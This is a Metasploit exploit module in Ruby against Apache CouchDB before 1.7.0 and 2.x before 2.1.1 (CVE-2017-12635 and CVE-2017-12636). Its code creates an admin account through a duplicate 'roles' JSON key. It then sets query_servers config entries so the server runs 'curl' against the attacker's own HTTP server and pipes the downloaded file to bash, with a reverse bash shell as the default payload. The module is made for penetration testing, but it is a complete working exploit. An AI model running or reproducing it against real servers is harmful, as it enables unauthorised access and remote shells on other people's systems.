Files
metasploit-gs/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
T
2018-04-04 00:38:57 -04:00

373 lines
12 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Couchdb Arbitrary Command Execution',
'Description' => %q{
CouchDB administrative users can configure the database server via HTTP(S).
Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
including downloading and executing scripts from the public internet.
},
'Author' => [
'Max Justicz', # CVE-2017-12635 Vulnerability discovery
'Joan Touzet', # CVE-2017-12636 Vulnerability discovery
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
],
'References' => [
[ 'CVE', '2017-12636'],
[ 'CVE', '2017-12635'],
[ 'URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
[ 'URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
[ 'URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
],
'DisclosureDate' => 'Apr 6 2016',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 4096, # Has into account Apache request length and base64 ratio
'DisableNops' => true
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
},
'Targets' => [
['Automatic', {} ]
],
'DefaultTarget' => 0
))
register_options([
Opt::RPORT(5984),
OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),
OptString.new('HttpUsername', [false, 'The username to login as']),
OptString.new('HttpPassword', [false, 'The password to login with'])
])
register_advanced_options(
[
OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.'])
])
end
def check
version = get_version
case
when !version
return Exploit::CheckCode::Unknown
when version < '1.7.0'
return Exploit::CheckCode::Appears
when version.between?('2.0.0','2.1.0')
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
@exploit_flag = false
version = get_version
vprint_good("#{peer} - Authorization bypass successful") if auth_bypass
start_http_server
if !datastore['Attempts'] || datastore['Attempts'] == 0
attempts = 1
else
attempts = datastore['Attempts']
end
attempts.times do |i|
print_status("#{peer} - The #{i+1} time to exploit")
send_payload(version)
Rex.sleep(5)
# break if we get the shell
break if @exploit_flag
end
end
# CVE-2017-12635
# The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON,
# the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization
# for the newly created user.
def auth_bypass
username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(rand(8) + 4)
password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(rand(8) + 4)
@auth = basic_auth(username, password)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),
'method' => 'PUT',
'ctype' => 'application/json',
'data' => %Q{{"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"}}
)
if res && res.code == 200 && res.get_json_document['ok']
return true
else
return false
end
end
def get_version
version = nil
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'authorization' => @auth
)
temp = res.get_json_document if res
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
return version
end
unless res
print_bad("#{peer} - No response, check if it is CouchDB. ")
fail_with(Failure::UnexpectedReply, "#{peer} - No response, check if it is CouchDB.")
end
if res && res.code == 401
print_bad("#{peer} - Authentication required.")
fail_with(Failure::NoAccess, "#{peer} - Authentication required.")
end
if res && res.code == 200
if temp['version']
version = temp['version']
else
vprint_warning("#{peer} - Version not found")
end
end
version
end
def send_payload(version)
vprint_status("#{peer} - version is #{version}") if version
case
when version < '1.7.0'
payload1
when version.between?('2.0.0','2.1.0')
payload2
when version >= '1.7.0' || version > '2.1.0'
fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
else
# Version not found, try randomly payload
vprint_warning("#{peer} - Cannot retrive the version, exploiting randomly...")
send([:payload1,:payload2].sample)
end
end
# Exploit with multi requests
# payload1 is for the version of couchdb below 1.7.0
def payload1
rand_cmd1 = Rex::Text.rand_text_alpha_lower(rand(8) + 4)
rand_cmd2 = Rex::Text.rand_text_alpha_lower(rand(8) + 4)
rand_db = Rex::Text.rand_text_alpha_lower(rand(8) + 4)
rand_doc = Rex::Text.rand_text_alpha_lower(rand(8) + 4)
rand_hex = Rex::Text.rand_text_hex(32)
rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(rand(8) + 8)
@file_to_clean = rand_file
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %Q{"curl #{@service_url} > #{rand_file}"}
)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
'method' => 'PUT',
'authorization' => @auth
)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %Q{{"_id": "#{rand_hex}"}}
)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
'method' => 'POST',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %Q{{"language":"#{rand_cmd1}","map":""}}
)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %Q{"cat #{rand_file}|bash"}
)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
'method' => 'POST',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %Q{{"language":"#{rand_cmd2}","map":""}}
)
end
# payload2 is for the version of couchdb below 2.1.1
def payload2
rand_cmd1 = Rex::Text.rand_text_alpha_lower(rand(8) + 4)
rand_cmd2 = Rex::Text.rand_text_alpha_lower(rand(8) + 4)
rand_db = Rex::Text.rand_text_alpha_lower(rand(8) + 4)
rand_doc = Rex::Text.rand_text_alpha_lower(rand(8) + 4)
rand_tmp = Rex::Text.rand_text_alpha_lower(rand(8) + 4)
rand_hex = Rex::Text.rand_text_hex(32)
rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(rand(8) + 8)
@file_to_clean = rand_file
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_membership"),
'method' => 'GET',
'authorization' => @auth
)
node = res.get_json_document['all_nodes'][0]
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %Q{"curl #{@service_url} > #{rand_file}"}
)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
'method' => 'PUT',
'authorization' => @auth
)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %Q{{"_id": "#{rand_hex}"}}
)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
'method' => 'PUT',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"}}
)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %Q{"cat #{rand_file}|bash"}
)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
'method' => 'PUT',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"}}
)
end
def on_request_uri(cli, request)
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
vprint_status("request headers is #{request.headers['User-Agent']}") if request.headers['User-Agent']
if request.headers['User-Agent'] !~ /curl/
print_status("Sending 404 for User-Agent #{request.headers['User-Agent']}")
send_not_found(cli)
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
send_response(cli, @pl)
end
def start_http_server
@pl = payload.encoded
resource_uri = datastore['URIPATH'] || random_uri
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
# do not use SSL for the attacking web server
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
@service_url = "http://#{srv_host}:#{datastore['SRVPORT']}/#{resource_uri}"
service_url_payload = srv_host + resource_uri
vprint_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
datastore['SSL'] = true if ssl_restore
connect
end
# mark the exploit successful and clean temp file created during exploiting
def on_new_session(client)
# mark flag be true to stop exploit.
@exploit_flag = true
vprint_status("Cleaning temp file #{@file_to_clean}")
begin
client.shell_command_token("rm #{@file_to_clean}")
vprint_good("Cleaned temp file successful.")
rescue
print_warning("Need to clean the temp file #{@file_to_clean} manually.")
end
end
end